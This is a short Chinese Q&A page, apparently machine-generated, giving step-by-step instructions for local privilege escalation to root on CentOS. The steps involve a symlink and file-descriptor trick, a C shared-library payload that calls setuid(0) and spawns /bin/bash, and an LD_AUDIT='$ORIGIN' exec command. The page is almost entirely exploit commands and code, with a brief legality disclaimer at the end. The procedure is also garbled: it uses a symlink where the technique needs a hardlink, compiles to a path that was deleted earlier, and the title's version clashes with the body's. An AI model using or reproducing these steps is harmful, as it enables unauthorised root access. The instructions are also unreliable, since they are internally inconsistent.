centos3.10提权
时间: 2023-10-18 18:05:38 浏览: 123
在CentOS 7的Linux系统中,提权的过程可以使用以下步骤进行操作:
1. 首先,创建一个新的用户,可以使用命令`adduser`创建一个名为"test"的用户。
2. 设置新用户的密码,可以使用命令`passwd test`为用户"test"设置密码。
3. 创建一个临时目录,可以使用命令`mkdir /tmp/exploit`创建一个名为"exploit"的目录。
4. 创建一个符号链接,将"/usr/bin/ping"链接到"/tmp/exploit/target",可以使用命令`ln -s /usr/bin/ping /tmp/exploit/target`创建符号链接。
5. 打开文件描述符3,并将其与目标文件"/tmp/exploit/target"相关联,可以使用命令`exec 3< /tmp/exploit/target`打开文件描述符3。
6. 查看文件描述符3所链接的文件的权限,可以使用命令`ls -l /proc/$$/fd/3`查看文件描述符3所链接的文件的权限。
7. 删除临时目录"/tmp/exploit",可以使用命令`rm -rf /tmp/exploit`删除临时目录。
8. 再次查看文件描述符3所链接的文件的权限,可以使用命令`ls -l /proc/$$/fd/3`再次查看文件描述符3所链接的文件的权限。
9. 创建一个C语言源文件"payload.c",可以使用命令`vim payload.c`创建并编辑文件,并将以下内容复制粘贴到文件中:
```c
void __attribute__((constructor)) init() {
setuid(0);
system("/bin/bash");
}
```
10. 使用GCC编译源文件为共享库,可以使用命令`gcc -w -fPIC -shared -o /tmp/exploit payload.c`编译源文件为共享库。
11. 查看编译后的共享库文件的权限,可以使用命令`ls -l /tmp/exploit`查看编译后的共享库文件的权限。
12. 执行提权操作,可以使用命令`LD_AUDIT="$ORIGIN" exec /proc/self/fd/3`执行提权操作。
13. 最后,可以使用命令`whoami`来验证提权是否成功,如果输出为"root"则表示提权成功。
请注意,提权操作需要谨慎执行,并且只能在合法授权的范围内进行。确保了解相关法律法规和系统安全政策后再进行操作。
阅读全文